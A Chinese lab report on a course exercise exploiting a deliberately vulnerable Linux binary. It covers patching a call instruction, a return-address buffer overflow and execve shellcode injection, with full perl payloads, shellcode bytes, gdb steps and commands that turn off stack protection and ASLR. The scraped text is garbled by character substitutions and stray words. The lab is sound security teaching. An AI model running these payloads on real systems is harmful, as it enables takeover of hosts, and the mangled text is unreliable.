一、直接修改程序机器指令 二、经过构造输入参数,形成BOF攻击。 三、注入Shellcode并执行html
本次实践的对象是一个名为pwn1的linux可执行文件。linux
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。编程
三个实践内容以下:vim
这几种思路,基本表明现实状况中的攻击目标:windows
|
,表示上一条指令的输入为下一条指令的输出。>
,将字符输入某个文件。(1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码sass
反汇编文件20165114pwn后,可在其中发现这几条汇编指令的机器码安全
由此可知:dom
nop
的机器码为90,即空操做,可用来延时;jne
的机器码为75,条件转移指令,当零标志z=0则跳转,为1则执行下一条指令;je
的机器码为74,条件转移指令,当零标志z=1则跳转,为0则执行下一条指令,与jne相反;jmp
的机器码为eb,无条件转移,跳转;cmp
的机器码为39,对两数进行相减,进行比较;(2)掌握反汇编与十六进制编程器编辑器
反汇编指令objdump
objdump命令是Linux下的反汇编目标文件或者可执行文件的命令,它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。
(3)能正确修改机器指令改变程序执行流程 (4)能正确构造payload进行bof攻击 见下文操做步骤。
将机器指令修改,使本来跳转入foo函数的流程,直接跳到getshell函数,得到shell。
(1)反汇编:objdump -d 20165114pwn | more
,查看汇编指令,理解该程序,为下一步作准备,下图为其中部分核心代码。 其中的e8 d7ffff
指令为跳转至foo函数,直接经过编辑该文件修改其为e8 c3ffff
,使其跳转到getshell函数,具体指令步骤以下:
(2)vim 20165114pwn
,进入文件修改机器指令,能够看到一些乱码。 (3)接下来把乱码转换为十六进制机器指令。按下ESC键,输入:%!xxd
修改成十六进制模式,再进行编辑。
(4)查找要修改的内容:/e8 d7ff
;
(5)使用vim编辑器将d7
修改c3
。
(6)转换十六进制为原格式::%xxd -r
。
(7)保存修改并退出::wq
。
(8)再次反汇编,查看是否修改为功,发现已经成功修改。
(9)运行20165114pwn文件,测试是否攻击成功。
成功了!
foo函数占28个字节,ebp占据4个字节,故返回地址在32个字节以后,这里咱们经过输入数字来定位返回地址的值。
步骤: (1)复制文件cp pwn1 20165114pwn_2
。 (2)进入调试gdb 20165114pwn_2
,以查看返回地址的位置。
(3)(gdb)r
,运行该文件,输入1111111122222222333333334444444455555555
,将会输出1111111122222222333333334444444455555555
,由于该程序功能即为输出刚刚输入的值。 (4)查看各寄存器的状态(gdb)info r
,其中eip寄存器中为0x35353535,其中35为5的ascii值的十六进制表示,便可初步肯定返回地址的值为输入前四个5的位置,注入bof时将这4个位置填入getshell的内存地址便可覆盖至正确位置。
(5)再次确认位置,输入指令(gdb)r
,运行该文件,这次输入1111111122222222333333334444444412345678
,准肯定位。 (6)查看各寄存器的状态(gdb)info r
,其中eip寄存器中为0x34333231,其中3四、3三、3二、31分别为四、三、二、1的ascii值的十六进制表示,因为是小端模式,字节序倒放。确认了返回地址的位置。
(7)(gdb)q
,退出debug。
(8)开始反汇编已知getshell的内存地址为0804847d,生成包括该地址的一个文件,再放入20165114pwn_2文件,为以后能成功实现bof溢出攻击。perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"'> input
。
(9)查看修改后的文件的十六进制机器指令:xxd input
,发现指令7d84 0408
在32个字节后的位置。
(10)(cat input;cat) | ./20165114pwn_2
,将input文件中的内容注入并执行20165114pwn_2文件,发现成功得到shell,可输入指令并获得正确回应。
shellcode就是一段机器指令(code)
如下实践使用学姐的文章Shellcode入门中生成的shellcode。以下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
修改一些设置,只有修改事后才能实现shell注入并成功执行噢
1. apt-get install execstack //安装execstack命令 2. execstack -s pwn1 //设置堆栈可执行 3. execstack -q pwn1 //查询文件的堆栈是否可执行 4. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 5. echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 6. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
下图为我安装execstack命令和设置的操做。
Linux下有两种基本构造攻击buf的方法:
①nop+shellcode+retaddr
②retaddr+nop+shellcode
nop的做用:
由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
我在实验中实现了第二种结构的成功注入,即anything+retaddr+nop+shellcode结构。
此时,shellcode开头处的地址=返回地址+4字节,咱们须要定位返回地址,将shellcode开头地址覆盖给返回地址,以实现跳转入咱们的shellcode代码的目的。
(1)打开终端,输入以下指令:perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20165114_shellcode
其中:
(2)在此终端继续输入指令,注入这段攻击buf:(cat 20165114_shellcode;cat) | ./20165114pwn_3
,回车。
(3)打开另外一个终端,进行调试,寻找返回地址。
ps -ef | grep 20165114pwn_3
,找到该进程号为6731.gdb
,进入调试。3.(gdb)attach 6731
,attach到已启动的进程上。
4.(gdb)disassemble foo
,反汇编foo函数。
5.(gdb)break *0xx80484ae
,设置断点,目的查看返回地址。
6.(gdb)c
,继续。
(4)当出现continuing时,在另外一个终端按下回车(若是提早按下会出现错误!!!)。
(5)返回正在进行调试的终端:
(gdb)info r esp
,查看栈顶指针指向的内存地址。x/16x 0xffffd20c
。(6)查看该内存地址的内容。发现其为0x01020304,找到返回地址的位置了,能够推出shellcode的地址为0x0ffffd210
。
(7)在终端中输入指令,将原来的\x04\x03\x02\x01\
改成\x10\xd2\xff\xff\
,即再次输入指令:
perl -e 'print "A" x 32;print "\x10\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20165114_shellcode
xxd 20165114_shellcode
,查看此时修改后内存地址是否正确,以下图所示。(cat 20165114_shellcode;cat) | ./20165114pwn_3
对缓冲区溢出有了更深的理解,也感受到了漏洞的危害性很是大。发现通过设计,缓冲区溢出能够实现很是强大的功能。
此次实验让我意识到,在扎实的理论基础上的创新和想法是很是重要的,缓冲区溢出的巧妙之处在于创新地放入了shellcode,能够自由控制该主机,达到本身的目的。固然其中涉及了汇编语言、机器指令、各类有关计算机的基础知识等等,我也意识到以前的各类基础课程都是十分必要而重要的,经过知识的积累和沉淀,才可以进行创造和攻击,每每综合能力依赖各个方面的汇总。
通过此次实验,我感受漏洞并非设计时出现的重大纰漏,而是因为某方面考虑不够全面和严谨,致使攻击者有空可钻的问题。在不仔细思考的条件下,可能不会被发现,可是攻击者可能巧妙地利用这个特性或者特征,实现一些危害系统安全、影响使用者的功能。是一些被攻击者发现的能够实现不良目的的一些巧妙的问题。
漏洞会致使不少危害,像本实验注入shellcode就可致使黑客实现任意操做,被黑客控制,黑客甚至能拿到超级管理员权限,危害很大,其中包括数据丢失和篡改、隐私泄露、危害系统安全、致使软硬件受损。
因为在更改主机名时,我在/etc/sysconfig/network文件中没法找到HOSTNAME,只更改了/etc/hosts文件,以后出现了如图的提示,重启后问题能够解决,可是并无成功修改主机名,因而我使用指令hostname daiqiaoyu
,可修改主机名,但重启后仍会变为kali。
运用实验指导中的第一种方法,即nop+shellcode+retaddr结构,会发现最终出现段错误
的提示,没法成功,与实验指导遇到的问题相同,应该是寻找返回地址时定位出现了问题,没有正确找到返回地址的值,覆盖也就出现了错误。后面第二种结构可成功。
提早回车,在注入shellcode实验中,寻找shellcode的内存地址时,进行调试,在一个终端输入指令(cat 20165114_shellcode;cat) | ./20165114pwn_3
并回车后,此时不能再次回车,须要在另外一个终端中开启gdb,在输入(gdb)r
并出现continuing的提示后,才能再次返回该终端按下回车,若提早回车会出现上图状况并可能后续失败,没法找到返回地址。
低级错误之,输入的第15个字符--标点符号为中文字符,而不是英文,致使报错,修改后可继续实验。